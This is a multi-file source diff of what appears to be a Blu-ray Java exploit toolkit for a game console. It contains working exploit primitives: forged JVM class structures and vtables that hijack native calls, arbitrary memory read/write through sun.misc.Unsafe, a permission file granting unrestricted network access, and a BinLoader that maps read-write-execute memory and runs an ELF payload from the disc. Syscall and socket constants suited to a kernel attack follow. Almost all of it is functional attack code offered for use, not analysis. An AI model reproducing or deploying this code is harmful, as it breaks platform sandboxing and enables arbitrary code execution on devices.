callContext.fakeKlass[0xC0 / 8] = 0; // dimension
for (int i = 0; i < iter; i++) {
callContext.fakeKlass[0x00 / 8] = callContext.fakeKlassVtableAddr;
callContext.fakeKlass[0x00 / 8] = callContext.fakeKlassVtableAddr;
if (i == 0) {
callContext.fakeKlassVtable[0x158 / 8] = sigsetjmp + 0x23; // multi_allocate
} else {
callContext.fakeKlassVtable[0x158 / 8] = __Ux86_64_setcontext + 0x39; // multi_allocate
}
ret = multiNewArray(callContext.fakeClassOopAddr, MULTI_NEW_ARRAY_DIMENSIONS);
if (i == 0) {
buildContext(
callContext.fakeKlass,
callContext.fakeKlass,
0x00,
func,
arg0,
arg1,
arg2,
arg3,
arg4,
arg5);
}
}
} else {
callContext.fakeKlass[0xB8 / 8] = 0; // dimension
for (int i = 0; i < iter; i++) {
callContext.fakeKlass[0x10 / 8] = callContext.fakeKlassVtableAddr;
callContext.fakeKlass[0x20 / 8] = callContext.fakeKlassVtableAddr;
if (i == 0) {
callContext.fakeKlassVtable[0x230 / 8] = sigsetjmp + 0x23; // multi_allocate
} else {
callContext.fakeKlassVtable[0x230 / 8] = __Ux86_64_setcontext + 0x39; // multi_allocate
}
ret = multiNewArray(callContext.fakeClassOopAddr, MULTI_NEW_ARRAY_DIMENSIONS);
if (i == 0) {
buildContext(
callContext.fakeKlass,
callContext.fakeKlass,
0x20,
func,
arg0,
arg1,
arg2,
arg3,
arg4,
arg5);
}
}
}
if (ret == 0) {
return 0;
}
return read64(ret);
}
public long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) {
return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0);
}
public long call(long func, long arg0, long arg1, long arg2, long arg3) {
return call(func, arg0, arg1, arg2, arg3, (long) 0, (long) 0);
}
public long call(long func, long arg0, long arg1, long arg2) {
return call(func, arg0, arg1, arg2, (long) 0, (long) 0, (long) 0);
}
public long call(long func, long arg0, long arg1) {
return call(func, arg0, arg1, (long) 0, (long) 0, (long) 0, (long) 0);
}
public long call(long func, long arg0) {
return call(func, arg0, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0);
}
public long call(long func) {
return call(func, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0, (long) 0);
}
public int errno() {
return read32(call(__error));
}
public long dlsym(long handle, String symbol) {
int oldHandle = RTLD_DEFAULT;
try {
if (executableHandle != 0) {
// In earlier versions, there's a bug where only the main executable's handle is used.
oldHandle = read32(executableHandle);
write32(executableHandle, (int) handle);
handleField.setLong(nativeLibrary, RTLD_DEFAULT);
} else {
handleField.setLong(nativeLibrary, handle);
}
return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue();
} catch (IllegalAccessException e) {
return 0;
} catch (InvocationTargetException e) {
return 0;
} finally {
if (executableHandle != 0) {
write32(executableHandle, oldHandle);
}
}
}
public long addrof(Object obj) {
Object[] array = new Object[] {obj};
return unsafe.getLong(array, ARRAY_BASE_OFFSET);
}
public byte read8(long addr) {
return unsafe.getByte(addr);
}
public short read16(long addr) {
return unsafe.getShort(addr);
}
public int read32(long addr) {
return unsafe.getInt(addr);
}
public long read64(long addr) {
return unsafe.getLong(addr);
}
public void write8(long addr, byte val) {
unsafe.putByte(addr, val);
}
public void write16(long addr, short val) {
unsafe.putShort(addr, val);
}
public void write32(long addr, int val) {
unsafe.putInt(addr, val);
}
public void write64(long addr, long val) {
unsafe.putLong(addr, val);
}
public long malloc(long size) {
return unsafe.allocateMemory(size);
}
public long calloc(long number, long size) {
long p = malloc(number * size);
if (p != 0) {
memset(p, 0, number * size);
}
return p;
}
public long realloc(long ptr, long size) {
return unsafe.reallocateMemory(ptr, size);
}
public void free(long ptr) {
unsafe.freeMemory(ptr);
}
public long memcpy(long dest, long src, long n) {
unsafe.copyMemory(src, dest, n);
return dest;
}
public long memcpy(long dest, byte[] src, long n) {
for (int i = 0; i < n; i++) {
write8(dest + i, src[i]);
}
return dest;
}
public byte[] memcpy(byte[] dest, long src, long n) {
for (int i = 0; i < n; i++) {
dest[i] = read8(src + i);
}
return dest;
}
public long memset(long s, int c, long n) {
unsafe.setMemory(s, n, (byte) c);
return s;
}
public byte[] memset(byte[] s, int c, long n) {
for (int i = 0; i < n; i++) {
s[i] = (byte) c;
}
return s;
}
public int memcmp(long s1, long s2, long n) {
for (int i = 0; i < n; i++) {
byte b1 = read8(s1 + i);
byte b2 = read8(s2 + i);
if (b1 != b2) {
return (int) b1 - (int) b2;
}
}
return 0;
}
public int memcmp(long s1, byte[] s2, long n) {
for (int i = 0; i < n; i++) {
byte b1 = read8(s1 + i);
byte b2 = s2[i];
if (b1 != b2) {
return (int) b1 - (int) b2;
}
}
return 0;
}
public int memcmp(byte[] s1, long s2, long n) {
return memcmp(s2, s1, n);
}
public int strcmp(long s1, long s2) {
for (int i = 0; ; i++) {
byte b1 = read8(s1 + i);
byte b2 = read8(s2 + i);
if (b1 != b2) {
return (int) b1 - (int) b2;
}
if (b1 == (byte) 0 && b2 == (byte) 0) {
return 0;
}
}
}
public int strcmp(long s1, String s2) {
byte[] bytes = toCBytes(s2);
for (int i = 0; ; i++) {
byte b1 = read8(s1 + i);
byte b2 = bytes[i];
if (b1 != b2) {
return (int) b1 - (int) b2;
}
if (b1 == (byte) 0 && b2 == (byte) 0) {
return 0;
}
}
}
public int strcmp(String s1, long s2) {
return strcmp(s2, s1);
}
public long strcpy(long dest, long src) {
for (int i = 0; ; i++) {
byte ch = read8(src + i);
write8(dest + i, ch);
if (ch == (byte) 0) {
break;
}
}
return dest;
}
public long strcpy(long dest, String src) {
byte[] bytes = toCBytes(src);
for (int i = 0; ; i++) {
byte ch = bytes[i];
write8(dest + i, ch);
if (ch == (byte) 0) {
break;
}
}
return dest;
}
public String readString(long src, long n) {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
for (int i = 0; ; i++) {
byte ch = read8(src + i);
if (ch == (byte) 0 || i == n) {
break;
}
outputStream.write(new byte[] {ch}, 0, 1);
}
return outputStream.toString();
}
public String readString(long src) {
return readString(src, -1);
}
public byte[] toCBytes(String str) {
byte[] bytes = new byte[str.length() + 1];
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
return bytes;
}
private CallContext getCallContext() {
CallContext callContext = (CallContext) callContexts.get();
if (callContext != null) {
return callContext;
}
callContext = new CallContext();
callContexts.set(callContext);
return callContext;
}
class CallContext {
final long[] fakeClassOop;
final long[] fakeClass;
final long[] fakeKlass;
final long[] fakeKlassVtable;
final long fakeClassOopAddr;
final long fakeClassAddr;
final long fakeKlassAddr;
final long fakeKlassVtableAddr;
private final long callContextBuffer;
CallContext() {
callContextBuffer =
malloc(
ARRAY_BASE_OFFSET
+ Int64.SIZE
+ ARRAY_BASE_OFFSET
+ 0x100
+ ARRAY_BASE_OFFSET
+ 0x200
+ ARRAY_BASE_OFFSET
+ 0x400);
if (callContextBuffer == 0) {
throw new OutOfMemoryError("malloc failed");
}
// Get array addresses.
fakeClassOopAddr = callContextBuffer + ARRAY_BASE_OFFSET;
fakeClassAddr = fakeClassOopAddr + Int64.SIZE + ARRAY_BASE_OFFSET;
fakeKlassAddr = fakeClassAddr + 0x100 + ARRAY_BASE_OFFSET;
fakeKlassVtableAddr = fakeKlassAddr + 0x200 + ARRAY_BASE_OFFSET;
long[] array = new long[1];
long arrayAddr = addrof(array);
long arrayKlass = read64(arrayAddr + 0x08);
// Write array headers.
write64(fakeClassOopAddr - 0x18, 1);
write64(fakeClassAddr - 0x18, 1);
write64(fakeKlassAddr - 0x18, 1);
write64(fakeKlassVtableAddr - 0x18, 1);
write64(fakeClassOopAddr - 0x10, arrayKlass);
write64(fakeClassAddr - 0x10, arrayKlass);
write64(fakeKlassAddr - 0x10, arrayKlass);
write64(fakeKlassVtableAddr - 0x10, arrayKlass);
write64(fakeClassOopAddr - 8, 0xFFFFFFFF);
write64(fakeClassAddr - 8, 0xFFFFFFFF);
write64(fakeKlassAddr - 8, 0xFFFFFFFF);
write64(fakeKlassVtableAddr - 8, 0xFFFFFFFF);
long[][] callContextArray = new long[4][0];
long callContextArrayAddr = addrof(callContextArray) + ARRAY_BASE_OFFSET;
// Put array addresses into callContextArray.
write64(callContextArrayAddr + 0x00, fakeClassOopAddr - ARRAY_BASE_OFFSET);
write64(callContextArrayAddr + 0x08, fakeClassAddr - ARRAY_BASE_OFFSET);
write64(callContextArrayAddr + 0x10, fakeKlassAddr - ARRAY_BASE_OFFSET);
write64(callContextArrayAddr + 0x18, fakeKlassVtableAddr - ARRAY_BASE_OFFSET);
// Get fake arrays.
fakeClassOop = callContextArray[0];
fakeClass = callContextArray[1];
fakeKlass = callContextArray[2];
fakeKlassVtable = callContextArray[3];
// Restore.
write64(callContextArrayAddr + 0x00, 0);
write64(callContextArrayAddr + 0x08, 0);
write64(callContextArrayAddr + 0x10, 0);
write64(callContextArrayAddr + 0x18, 0);
if (jdk11) {
fakeClassOop[0x00 / 8] = fakeClassAddr;
fakeClass[0x98 / 8] = fakeKlassAddr;
fakeKlassVtable[0xD8 / 8] = JVM_NativePath; // array_klass
} else {
fakeClassOop[0x00 / 8] = fakeClassAddr;
fakeClass[0x68 / 8] = fakeKlassAddr;
fakeKlassVtable[0x80 / 8] = JVM_NativePath; // array_klass
fakeKlassVtable[0xF0 / 8] = JVM_NativePath; // oop_is_array
}
}
protected void finalize() {
free(callContextBuffer);
}
}
}

101
src/org/bdj/api/Buffer.java Normal file
View File

@@ -0,0 +1,101 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public class Buffer {
protected static final API api;
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
private final long address;
private final int size;
public Buffer(int size) {
this.address = api.calloc(1, size);
this.size = size;
}
protected void finalize() {
api.free(address);
}
public long address() {
return address;
}
public int size() {
return size;
}
public byte getByte(int offset) {
checkOffset(offset, Int8.SIZE);
return api.read8(address + offset);
}
public short getShort(int offset) {
checkOffset(offset, Int16.SIZE);
return api.read16(address + offset);
}
public int getInt(int offset) {
checkOffset(offset, Int32.SIZE);
return api.read32(address + offset);
}
public long getLong(int offset) {
checkOffset(offset, Int64.SIZE);
return api.read64(address + offset);
}
public void putByte(int offset, byte value) {
checkOffset(offset, Int8.SIZE);
api.write8(address + offset, value);
}
public void putShort(int offset, short value) {
checkOffset(offset, Int16.SIZE);
api.write16(address + offset, value);
}
public void putInt(int offset, int value) {
checkOffset(offset, Int32.SIZE);
api.write32(address + offset, value);
}
public void putLong(int offset, long value) {
checkOffset(offset, Int64.SIZE);
api.write64(address + offset, value);
}
public void put(int offset, Buffer buffer) {
checkOffset(offset, buffer.size());
api.memcpy(address + offset, buffer.address(), buffer.size());
}
public void put(int offset, byte[] buffer) {
checkOffset(offset, buffer.length);
api.memcpy(address + offset, buffer, buffer.length);
}
public void fill(byte value) {
api.memset(address, value, size);
}
protected void checkOffset(int offset, int length) {
if (offset < 0 || length < 0 || (offset + length) > size) {
throw new IndexOutOfBoundsException();
}
}
}

View File

@@ -0,0 +1,29 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public final class Int16 extends Buffer {
public static final int SIZE = 2;
public Int16() {
super(SIZE);
}
public Int16(short value) {
this();
set(value);
}
public short get() {
return getShort(0x00);
}
public void set(short value) {
putShort(0x00, value);
}
}

View File

@@ -0,0 +1,22 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public final class Int16Array extends Buffer {
public Int16Array(int length) {
super(length * Int16.SIZE);
}
public short get(int index) {
return getShort(index * Int16.SIZE);
}
public void set(int index, short value) {
putShort(index * Int16.SIZE, value);
}
}

View File

@@ -0,0 +1,29 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public final class Int32 extends Buffer {
public static final int SIZE = 4;
public Int32() {
super(SIZE);
}
public Int32(int value) {
this();
set(value);
}
public int get() {
return getInt(0x00);
}
public void set(int value) {
putInt(0x00, value);
}
}

View File

@@ -0,0 +1,22 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public final class Int32Array extends Buffer {
public Int32Array(int length) {
super(length * Int32.SIZE);
}
public int get(int index) {
return getInt(index * Int32.SIZE);
}
public void set(int index, int value) {
putInt(index * Int32.SIZE, value);
}
}

View File

@@ -0,0 +1,29 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public final class Int64 extends Buffer {
public static final int SIZE = 8;
public Int64() {
super(SIZE);
}
public Int64(long value) {
this();
set(value);
}
public long get() {
return getLong(0x00);
}
public void set(long value) {
putLong(0x00, value);
}
}

View File

@@ -0,0 +1,22 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public final class Int64Array extends Buffer {
public Int64Array(int length) {
super(length * Int64.SIZE);
}
public long get(int index) {
return getLong(index * Int64.SIZE);
}
public void set(int index, long value) {
putLong(index * Int64.SIZE, value);
}
}

29
src/org/bdj/api/Int8.java Normal file
View File

@@ -0,0 +1,29 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public final class Int8 extends Buffer {
public static final int SIZE = 1;
public Int8() {
super(SIZE);
}
public Int8(byte value) {
this();
set(value);
}
public byte get() {
return getByte(0x00);
}
public void set(byte value) {
putByte(0x00, value);
}
}

View File

@@ -0,0 +1,22 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public final class Int8Array extends Buffer {
public Int8Array(int length) {
super(length * Int8.SIZE);
}
public byte get(int index) {
return getByte(index * Int8.SIZE);
}
public void set(int index, byte value) {
putByte(index * Int8.SIZE, value);
}
}

View File

@@ -0,0 +1,41 @@
package org.bdj.api;
import org.bdj.api.API;
import org.bdj.api.Buffer;
public class NativeInvoke {
static API api;
static long sceKernelSendNotificationRequestAddr;
static {
try {
api = API.getInstance();
sceKernelSendNotificationRequestAddr = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelSendNotificationRequest");
} catch (Exception e) {
}
}
public static int sendNotificationRequest(String msg) {
if (sceKernelSendNotificationRequestAddr == 0) {
return -1;
}
long size = 0xc30;
Buffer buffer = new Buffer((int)size);
buffer.fill((byte)0);
buffer.putInt(0x10, -1);
byte[] msgBytes = msg.getBytes();
for (int i = 0; i < msgBytes.length && i < (size - 0x2d - 1); i++) {
buffer.putByte(0x2d + i, msgBytes[i]);
}
buffer.putByte(0x2d + Math.min(msgBytes.length, (int)(size - 0x2d - 1)), (byte)0);
long res = api.call(sceKernelSendNotificationRequestAddr, 0, buffer.address(), size, 0);
return (int)res;
}
}

22
src/org/bdj/api/Text.java Normal file
View File

@@ -0,0 +1,22 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
public class Text extends Buffer {
private final String text;
public Text(String text) {
super(text.length() + 1);
this.text = text;
api.strcpy(address(), text);
}
public String toString() {
return text;
}
}

View File

@@ -0,0 +1,44 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
import java.lang.reflect.Field;
interface UnsafeInterface {
public byte getByte(long address);
public short getShort(long address);
public int getInt(long address);
public long getLong(long address);
public long getLong(Object o, long offset);
public void putByte(long address, byte x);
public void putShort(long address, short x);
public void putInt(long address, int x);
public void putLong(long address, long x);
public void putObject(Object o, long offset, Object x);
public long objectFieldOffset(Field f);
public long allocateMemory(long bytes);
public long reallocateMemory(long address, long bytes);
public void freeMemory(long address);
public void setMemory(long address, long bytes, byte value);
public void copyMemory(long srcAddress, long destAddress, long bytes);
}

View File

@@ -0,0 +1,92 @@
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.api;
import java.lang.reflect.Field;
import sun.misc.Unsafe;
class UnsafeSunImpl implements UnsafeInterface {
private static final String UNSAFE_CLASS_NAME = "sun.misc.Unsafe";
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
private final Unsafe unsafe;
UnsafeSunImpl() throws Exception {
// Throw exception if class does not exist.
Class.forName(UNSAFE_CLASS_NAME);
// Get unsafe instance.
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
theUnsafeField.setAccessible(true);
unsafe = (Unsafe) theUnsafeField.get(null);
}
public byte getByte(long address) {
return unsafe.getByte(address);
}
public short getShort(long address) {
return unsafe.getShort(address);
}
public int getInt(long address) {
return unsafe.getInt(address);
}
public long getLong(long address) {
return unsafe.getLong(address);
}
public long getLong(Object o, long offset) {
return unsafe.getLong(o, offset);
}
public void putByte(long address, byte x) {
unsafe.putByte(address, x);
}
public void putShort(long address, short x) {
unsafe.putShort(address, x);
}
public void putInt(long address, int x) {
unsafe.putInt(address, x);
}
public void putLong(long address, long x) {
unsafe.putLong(address, x);
}
public void putObject(Object o, long offset, Object x) {
unsafe.putObject(o, offset, x);
}
public long objectFieldOffset(Field f) {
return unsafe.objectFieldOffset(f);
}
public long allocateMemory(long bytes) {
return unsafe.allocateMemory(bytes);
}
public long reallocateMemory(long address, long bytes) {
return unsafe.reallocateMemory(address, bytes);
}
public void freeMemory(long address) {
unsafe.freeMemory(address);
}
public void setMemory(long address, long bytes, byte value) {
unsafe.setMemory(address, bytes, value);
}
public void copyMemory(long srcAddress, long destAddress, long bytes) {
unsafe.copyMemory(srcAddress, destAddress, bytes);
}
}

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8"?>
<permissionrequestfile orgid="0x56789abc" appid="0x4000">
<applifecyclecontrol value="true"/>
<bd-bindingunitarea value="true"/>
<bd-vfs value="true"/>
<file value="true"/>
<network>
<host action="connect,resolve,listen,accept">*:*</host>
</network>
<servicesel value="true"/>
<userpreferences read="true" write="true"/>
</permissionrequestfile>

337
src/org/bdj/external/BinLoader.java vendored Normal file
View File

@@ -0,0 +1,337 @@
package org.bdj.external;
import java.io.IOException;
import java.io.InputStream;
import java.io.ByteArrayOutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.File;
import java.io.FileInputStream;
import org.bdj.api.*;
public class BinLoader {
// Memory mapping constants
private static final int PROT_READ = 0x1;
private static final int PROT_WRITE = 0x2;
private static final int PROT_EXEC = 0x4;
private static final int MAP_PRIVATE = 0x2;
private static final int MAP_ANONYMOUS = 0x1000;
// ELF constants
private static final int ELF_MAGIC = 0x464c457f; // 0x7F 'E' 'L' 'F' in little endian
private static final int PT_LOAD = 1;
private static final int PAGE_SIZE = 0x1000;
private static final int MAX_PAYLOAD_SIZE = 4 * 1024 * 1024; // 4MB
private static final int READ_CHUNK_SIZE = 4096;
private static final String USBPAYLOAD_RESOURCE = "/disc/BDMV/AUXDATA/aiofix_USBpayload.elf";
private static API api;
private static byte[] binData;
private static long mmapBase;
private static long mmapSize;
private static long entryPoint;
private static Thread payloadThread;
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
public static void start() {
Thread startThread = new Thread(new Runnable() {
public void run() {
startInternal();
}
});
startThread.setName("BinLoader");
startThread.start();
}
private static void startInternal() {
executeEmbeddedPayload();
}
private static void executeEmbeddedPayload() {
try {
File payload = new File(USBPAYLOAD_RESOURCE);
FileInputStream fi = new FileInputStream(payload);
byte[] bytes = new byte[fi.available()];
fi.read(bytes);
fi.close();
loadFromData(bytes);
run();
waitForPayloadToExit();
} catch (Exception e) {
}
}
private static byte[] loadResourcePayload(String resourcePath) throws Exception {
InputStream inputStream = BinLoader.class.getResourceAsStream(resourcePath);
if (inputStream == null) {
throw new RuntimeException("Resource not found: " + resourcePath);
}
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[READ_CHUNK_SIZE];
int bytesRead;
int totalRead = 0;
try {
while ((bytesRead = inputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
totalRead += bytesRead;
// Safety check to prevent excessive resource loading
if (totalRead > MAX_PAYLOAD_SIZE) {
throw new RuntimeException("Resource payload exceeds maximum size: " + MAX_PAYLOAD_SIZE);
}
}
return outputStream.toByteArray();
} finally {
inputStream.close();
outputStream.close();
}
}
public static void loadFromData(byte[] data) throws Exception {
if (data == null) {
throw new IllegalArgumentException("Payload data cannot be null");
}
if (data.length == 0) {
throw new IllegalArgumentException("Payload data cannot be empty");
}
if (data.length > MAX_PAYLOAD_SIZE) {
throw new IllegalArgumentException("Payload too large: " + data.length + " bytes (max: " + MAX_PAYLOAD_SIZE + ")");
}
binData = data;
// Round up to page boundary with overflow check
long mmapSizeCalc;
try {
mmapSizeCalc = roundUp(data.length, PAGE_SIZE);
if (mmapSizeCalc <= 0 || mmapSizeCalc > MAX_PAYLOAD_SIZE * 2) {
throw new RuntimeException("Invalid mmap size calculation: " + mmapSizeCalc);
}
} catch (ArithmeticException e) {
throw new RuntimeException("Integer overflow in mmap size calculation");
}
// Allocate executable memory
int protFlags = PROT_READ | PROT_WRITE | PROT_EXEC;
int mapFlags = MAP_PRIVATE | MAP_ANONYMOUS;
long ret = Helper.syscall(Helper.SYS_MMAP, 0L, mmapSizeCalc, (long)protFlags, (long)mapFlags, -1L, 0L);
if (ret < 0) {
int errno = api.errno();
throw new RuntimeException("mmap() failed with error: " + ret + " (errno: " + errno + ")");
}
// Validate mmap returned a reasonable address
if (ret == 0 || ret == -1) {
throw new RuntimeException("mmap() returned invalid address: 0x" + Long.toHexString(ret));
}
mmapBase = ret;
mmapSize = mmapSizeCalc;
try {
// Check if ELF by reading magic bytes
if (data.length >= 4) {
int magic = ((data[3] & 0xFF) << 24) | ((data[2] & 0xFF) << 16) |
((data[1] & 0xFF) << 8) | (data[0] & 0xFF);
if (magic == ELF_MAGIC) {
entryPoint = loadElfSegments(data);
} else {
// Copy raw data to allocated memory with bounds checking
if (data.length > mmapSize) {
throw new RuntimeException("Payload size exceeds allocated memory");
}
api.memcpy(mmapBase, data, data.length);
entryPoint = mmapBase;
}
} else {
throw new RuntimeException("Payload too small (< 4 bytes)");
}
// Validate entry point
if (entryPoint == 0) {
throw new RuntimeException("Invalid entry point: 0x0");
}
if (entryPoint < mmapBase || entryPoint >= mmapBase + mmapSize) {
throw new RuntimeException("Entry point outside allocated memory range: 0x" + Long.toHexString(entryPoint));
}
} catch (Exception e) {
// Cleanup on failure
long munmapResult = Helper.syscall(Helper.SYS_MUNMAP, mmapBase, mmapSize);
if (munmapResult < 0) {
}
mmapBase = 0;
mmapSize = 0;
entryPoint = 0;
throw e;
}
}
private static long loadElfSegments(byte[] data) throws Exception {
// Create temporary buffer for ELF parsing to avoid header corruption
long tempBuf = Helper.syscall(Helper.SYS_MMAP, 0L, (long)data.length,
(long)(PROT_READ | PROT_WRITE), (long)(MAP_PRIVATE | MAP_ANONYMOUS), -1L, 0L);
if (tempBuf < 0) {
throw new RuntimeException("Failed to allocate temp buffer for ELF parsing");
}
try {
// Copy data to temp buffer for parsing
api.memcpy(tempBuf, data, data.length);
// Read ELF header from temp buffer
ElfHeader elfHeader = readElfHeader(tempBuf);
// Load program segments directly to final locations
for (int i = 0; i < elfHeader.phNum; i++) {
long phdrAddr = tempBuf + elfHeader.phOff + (i * elfHeader.phEntSize);
ProgramHeader phdr = readProgramHeader(phdrAddr);
if (phdr.type == PT_LOAD && phdr.memSize > 0) {
// Calculate segment address (use relative offset)
long segAddr = mmapBase + (phdr.vAddr % 0x1000000);
// Copy segment data from original data array
if (phdr.fileSize > 0) {
byte[] segmentData = new byte[(int)phdr.fileSize];
System.arraycopy(data, (int)phdr.offset, segmentData, 0, (int)phdr.fileSize);
api.memcpy(segAddr, segmentData, segmentData.length);
}
// Zero out BSS section
if (phdr.memSize > phdr.fileSize) {
api.memset(segAddr + phdr.fileSize, 0, phdr.memSize - phdr.fileSize);
}
}
}
return mmapBase + (elfHeader.entry % 0x1000000);
} finally {
// Clean up temp buffer
Helper.syscall(Helper.SYS_MUNMAP, tempBuf, (long)data.length);
}
}
public static void run() throws Exception {
// Create Java thread to execute the payload
payloadThread = new Thread(new Runnable() {
public void run() {
try {
// Call the entry point function
long result = api.call(entryPoint);
} catch (Exception e) {
}
}
});
payloadThread.setName("BinPayload");
payloadThread.start();
}
public static void waitForPayloadToExit() throws Exception {
if (payloadThread != null) {
try {
payloadThread.join(); // Wait for thread to finish
} catch (InterruptedException e) {
Thread.currentThread().interrupt(); // Restore interrupt status
}
}
// Cleanup allocated memory with validation
if (mmapBase != 0 && mmapSize > 0) {
try {
long ret = Helper.syscall(Helper.SYS_MUNMAP, mmapBase, mmapSize);
if (ret < 0) {
int errno = api.errno();
} else {
}
} catch (Exception e) {
}
// Clear variables to prevent reuse
mmapBase = 0;
mmapSize = 0;
entryPoint = 0;
binData = null;
} else {
}
// Clear thread reference
payloadThread = null;
}
private static class ElfHeader {
long entry;
long phOff;
int phEntSize;
int phNum;
}
private static class ProgramHeader {
int type;
long offset;
long vAddr;
long fileSize;
long memSize;
}
private static ElfHeader readElfHeader(long addr) {
ElfHeader header = new ElfHeader();
header.entry = api.read64(addr + 0x18);
header.phOff = api.read64(addr + 0x20);
header.phEntSize = api.read16(addr + 0x36) & 0xFFFF;
header.phNum = api.read16(addr + 0x38) & 0xFFFF;
return header;
}
private static ProgramHeader readProgramHeader(long addr) {
ProgramHeader phdr = new ProgramHeader();
phdr.type = api.read32(addr + 0x00);
phdr.offset = api.read64(addr + 0x08);
phdr.vAddr = api.read64(addr + 0x10);
phdr.fileSize = api.read64(addr + 0x20);
phdr.memSize = api.read64(addr + 0x28);
return phdr;
}
private static long roundUp(long value, long boundary) {
if (value < 0 || boundary <= 0) {
throw new IllegalArgumentException("Invalid arguments: value=" + value + ", boundary=" + boundary);
}
// Check for potential overflow
if (value > Long.MAX_VALUE - boundary) {
throw new ArithmeticException("Integer overflow in roundUp calculation");
}
return ((value + boundary - 1) / boundary) * boundary;
}
}

577
src/org/bdj/external/Helper.java vendored Normal file
View File

@@ -0,0 +1,577 @@
package org.bdj.external;
import org.bdj.api.*;
public class Helper {
// Constants
public static final int AF_INET = 2;
public static final int AF_INET6 = 28;
public static final int AF_UNIX = 1;
public static final int SOCK_DGRAM = 2;
public static final int SOCK_STREAM = 1;
public static final int IPPROTO_UDP = 17;
public static final int IPPROTO_TCP = 6;
public static final int IPPROTO_IPV6 = 41;
public static final int SOL_SOCKET = 0xffff;
public static final int SO_REUSEADDR = 4;
public static final int SO_LINGER = 0x80;
public static final int TCP_INFO = 0x20;
public static final int TCPS_ESTABLISHED = 4;
// IPv6 Constants
public static final int IPV6_RTHDR = 51;
public static final int IPV6_TCLASS = 61;
public static final int IPV6_2292PKTOPTIONS = 25;
public static final int IPV6_PKTINFO = 46;
public static final int IPV6_NEXTHOP = 48;
// AIO Constants
public static final int AIO_CMD_READ = 1;
public static final int AIO_CMD_WRITE = 2;
public static final int AIO_CMD_FLAG_MULTI = 0x1000;
public static final int AIO_CMD_MULTI_READ = AIO_CMD_FLAG_MULTI | AIO_CMD_READ;
public static final int AIO_CMD_MULTI_WRITE = AIO_CMD_FLAG_MULTI | AIO_CMD_WRITE;
public static final int AIO_STATE_COMPLETE = 3;
public static final int AIO_STATE_ABORTED = 4;
public static final int AIO_PRIORITY_HIGH = 3;
public static final int SCE_KERNEL_ERROR_ESRCH = 0x80020003;
public static final int MAX_AIO_IDS = 0x80;
// CPU and Threading Constants
public static final int CPU_LEVEL_WHICH = 3;
public static final int CPU_WHICH_TID = 1;
public static final int RTP_SET = 1;
public static final int RTP_PRIO_REALTIME = 2;
// Syscall Numbers
public static final int SYS_READ = 0x3;
public static final int SYS_WRITE = 0x4;
public static final int SYS_OPEN = 0x5;
public static final int SYS_CLOSE = 0x6;
public static final int SYS_GETPID = 0x14;
public static final int SYS_GETUID = 0x18;
public static final int SYS_ACCEPT = 0x1e;
public static final int SYS_PIPE = 0x2a;
public static final int SYS_MPROTECT = 0x4a;
public static final int SYS_SOCKET = 0x61;
public static final int SYS_CONNECT = 0x62;
public static final int SYS_BIND = 0x68;
public static final int SYS_SETSOCKOPT = 0x69;
public static final int SYS_LISTEN = 0x6a;
public static final int SYS_GETSOCKOPT = 0x76;
public static final int SYS_NETGETIFLIST = 0x7d;
public static final int SYS_SOCKETPAIR = 0x87;
public static final int SYS_SYSCTL = 0xca;
public static final int SYS_NANOSLEEP = 0xf0;
public static final int SYS_SIGACTION = 0x1a0;
public static final int SYS_THR_SELF = 0x1b0;
public static final int SYS_CPUSET_GETAFFINITY = 0x1e7;
public static final int SYS_CPUSET_SETAFFINITY = 0x1e8;
public static final int SYS_RTPRIO_THREAD = 0x1d2;
public static final int SYS_EVF_CREATE = 0x21a;
public static final int SYS_EVF_DELETE = 0x21b;
public static final int SYS_EVF_SET = 0x220;
public static final int SYS_EVF_CLEAR = 0x221;
public static final int SYS_IS_IN_SANDBOX = 0x249;
public static final int SYS_DLSYM = 0x24f;
